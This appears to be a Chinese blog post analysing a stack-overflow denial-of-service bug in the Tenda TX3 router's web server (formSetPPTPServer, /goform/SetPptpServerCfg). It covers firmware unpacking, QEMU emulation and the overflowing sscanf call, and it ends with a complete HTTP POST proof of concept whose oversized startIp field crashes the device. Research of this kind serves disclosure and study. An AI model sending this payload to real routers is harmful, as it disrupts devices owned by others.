请注意,本文编写于 405 天前,最后修改于 405 天前,其中某些信息可能已经过时。
影响设备:Tenda-TX3 US_TX3V1.0br_V16.03.13.11_multi_TDE01( https://www.tendacn.com/tw/download/detail-4015.html )
漏洞类型:栈溢出
影响:拒绝服务 (DoS)
这里感觉存在与路由器中最普遍的漏洞就是命令注入,和硬件编码的写入。每当一个固件被发布后,在短短的一个月之内我们就能看见关于这两点的CVE发布。其次是栈空间的溢出,大多数的栈空间溢出被用于DDos攻击,个人感觉是有二次在开发的空间的。最后才能会涉及到堆的溢出。可能是由于Iot设备的局限性,堆栈漏洞的利用十分的困难。之后的固件与代码审计将偏向于栈溢出方向。
该漏洞位于/goform/SetPptpServerCfg
影响Tenda-TX3 US_TX3V1.0br_V16.03.13.11_multi_TDE01最新版本的页面。
首先是固件提取,这里的固件提取十分的有意思,传统的Binwalk对文件进行解包后,我们得到了一个名为40.ubi文件。
UBI (Unsorted Block Image) 是一个用于嵌入式系统中的轻量级文件系统格式。它是为了解决嵌入式设备上的闪存管理问题而设计的。UBI文件系统将闪存分成了两个层次:UBI设备和UBI卷。UBI设备是闪存的物理层,而UBI卷是闪存的逻辑层。
UBI文件系统具有以下特点:
UBI文件系统通常用于嵌入式设备中,例如智能手机、路由器、物联网设备等。它提供了一种可靠和高效的存储解决方案,适用于资源受限的嵌入式系统。
这里我们使用ubireader_extract_images对该文件进行解包,然后ubi-utils就可以得到根目录。
sudo chroot ./ ./qemu-arm-static ./bin/httpd
我们对服务器进行启动,值得注意的是和之前的Tenda路由器是一样的,需要一个名为br0的网卡,才可以启动程序。
如果没有名为br0的网卡,就会出现如下情况。
漏洞位于二进制文件httpd,函数formSetPPTPServer中。
tips: formSetPPTPServer
,该函数的功能可能是用于设置路由器上的 PPTP 服务器。
PPTP(Point-to-Point Tunneling Protocol)是一种用于建立虚拟私人网络(VPN)连接的协议。通过使用 PPTP 服务器,可以在路由器上创建一个 PPTP VPN 服务器,允许远程客户端通过互联网连接到该服务器并建立 VPN 连接。
具体而言,formSetPPTPServer
函数可能包含以下功能:
这里出现栈溢出的函数是_isoc99_sscanf。
_isoc99_sscanf
函数是 C 标准库中的一个变体,用于按照指定的格式从字符串中进行格式化输入。它的功能与标准的 sscanf
函数类似,但遵循 ISO C99 标准的规范。
具体而言,_isoc99_sscanf
函数的含义是将一个字符串解析为一组值,根据提供的格式字符串来匹配和提取相应的数据。它的原型如下:
int _isoc99_sscanf(const char *restrict str, const char *restrict format, ...);
str
是要解析的字符串。format
是格式字符串,指定了要匹配的模式和数据类型。...
是可变参数列表,用于接收解析出的数据。_isoc99_sscanf
函数会按照格式字符串中的指定格式,从字符串 str
中解析出相应的数据,并将解析结果存储在可变参数列表中提供的变量中。它可以解析并提取不同类型的数据,如整数、浮点数、字符串等。
这个函数的返回值是成功匹配并解析的参数个数,如果没有成功匹配,则返回 -1。
我们先分析一下该函数的正常情况,该函数调用使用格式字符串 "%[^.].%[^.].%[^.].%s"
对字符串 v9
进行解析,并将解析结果存储在变量 v23
、v24
、v25
和 v26
中。
具体格式说明如下:
%[^.]
表示匹配除了 .
(点号)之外的任意字符序列。.
表示匹配 .
字符。根据以上格式说明,字符串 v9
是一个 IP 地址,格式为 x.x.x.x
(其中 x
是一个数字),例如 192.168.0.1
。
解析结果将按照顺序存储在提供的变量中:
v23
用于存储第一个 .
之前的字符序列,即 IP 地址的第一个字段。v24
用于存储第二个 .
之前的字符序列,即 IP 地址的第二个字段。v25
用于存储第三个 .
之前的字符序列,即 IP 地址的第三个字段。v26
用于存储最后一个 .
之后的字符序列,即 IP 地址的第四个字段。我们看一下相关的栈空间:
这里的ip_first就是V9的第一个参数段,这里距栈底0x328个字节。
根据exp,我们发现exp中在第一个字段注入了0x3c0个字节,成功的覆盖了返回地址,从而引起了程序崩溃。
POST /goform/SetPptpServerCfg HTTP/1.1
Host: 192.168.23.133
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: password=byn5gk
Connection: close
Content-Length: 978
endIp=b&startIp=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!